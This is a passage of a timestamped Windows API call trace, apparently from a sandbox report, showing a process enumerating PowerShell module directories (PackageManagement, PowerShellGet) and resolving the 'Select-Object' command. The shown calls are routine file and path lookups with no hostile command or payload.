SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1a8) returned 1 [0130.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf34) returned 1 [0130.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x59fe1f8 | out: lpFileInformation=0x59fe1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0130.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf30) returned 1 [0130.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe1f0) returned 1 [0130.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0130.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0130.881] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Select-Object.*", lpFindFileData=0x59fdfa0 | out: lpFindFileData=0x59fdfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf48) returned 1 [0130.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1a8) returned 1 [0130.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.881] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf34) returned 1 [0130.881] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x59fe1f8 | out: lpFileInformation=0x59fe1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf30) returned 1 [0130.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe1f0) returned 1 [0130.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0130.882] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0130.882] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Select-Object.*", lpFindFileData=0x59fdfa0 | out: lpFindFileData=0x59fdfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0130.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf48) returned 1 [0130.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1a8) returned 1 [0130.882] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59fe0a4, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0130.883] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x59fe094, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0130.886] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0130.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0130.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0130.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.887] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.888] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0130.888] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0130.888] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.888] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0130.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0130.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0130.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0130.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0130.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0130.952] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0130.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0130.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0130.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0130.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0130.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0130.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0130.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0130.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.953] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0130.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0130.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.954] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.954] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.954] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.954] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0130.954] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0130.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf74) returned 1 [0130.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe238 | out: lpFileInformation=0x59fe238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf70) returned 1 [0130.955] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0130.955] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0130.955] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0130.955] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0130.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf98) returned 1 [0130.955] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x27f5eac | out: lpFileInformation=0x27f5eac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf94) returned 1 [0130.955] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0130.955] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0130.956] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0130.956] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0130.956] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0130.956] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0130.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fe220) returned 1 [0130.956] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0130.956] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0130.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.957] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.957] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.957] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.957] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0130.957] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0130.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf74) returned 1 [0130.957] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x59fe238 | out: lpFileInformation=0x59fe238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf70) returned 1 [0130.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0130.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0130.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0130.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0130.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf98) returned 1 [0130.958] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program 